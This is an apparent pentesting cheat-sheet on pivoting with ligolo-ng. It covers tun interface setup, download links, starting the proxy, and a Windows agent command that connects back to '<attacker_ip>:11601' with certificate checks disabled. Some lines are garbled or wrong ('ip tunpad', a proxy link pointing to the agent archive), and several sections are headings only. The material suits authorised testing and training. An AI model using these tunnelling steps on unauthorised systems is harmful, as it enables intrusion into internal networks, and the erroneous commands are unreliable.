Pivoting
Set everything up
# Add the Tunnel
sudo ip tunpad add <USER> mode tun ligolo
# Set the Tunnel state to up
sudo ip link set ligolo upDownload Ligolo Agent and Proxy
# Download Ligolo agent
Windows -> https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_agent_0.8.2_windows_amd64.zip
Linux -> https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_agent_0.8.2_linux_amd64.tar.gz
# Download Ligolo Proxy
Windows -> https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_agent_0.8.2_windows_amd64.zip
Linux -> https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_proxy_0.8.2_linux_amd64.tar.gzRun the Ligolo proxy
# Run the proxy with the self certificate
./proxy -selfcertConnect Agent to Attacker — Windows
# Connect to the attacker (Ignoring certificate)
ligolo-agent.exe -connect <attacker_ip>:11601 -ignore-certConnect Agent to Attacker — Linux
Select the session
Bring a port from SSH
Last updated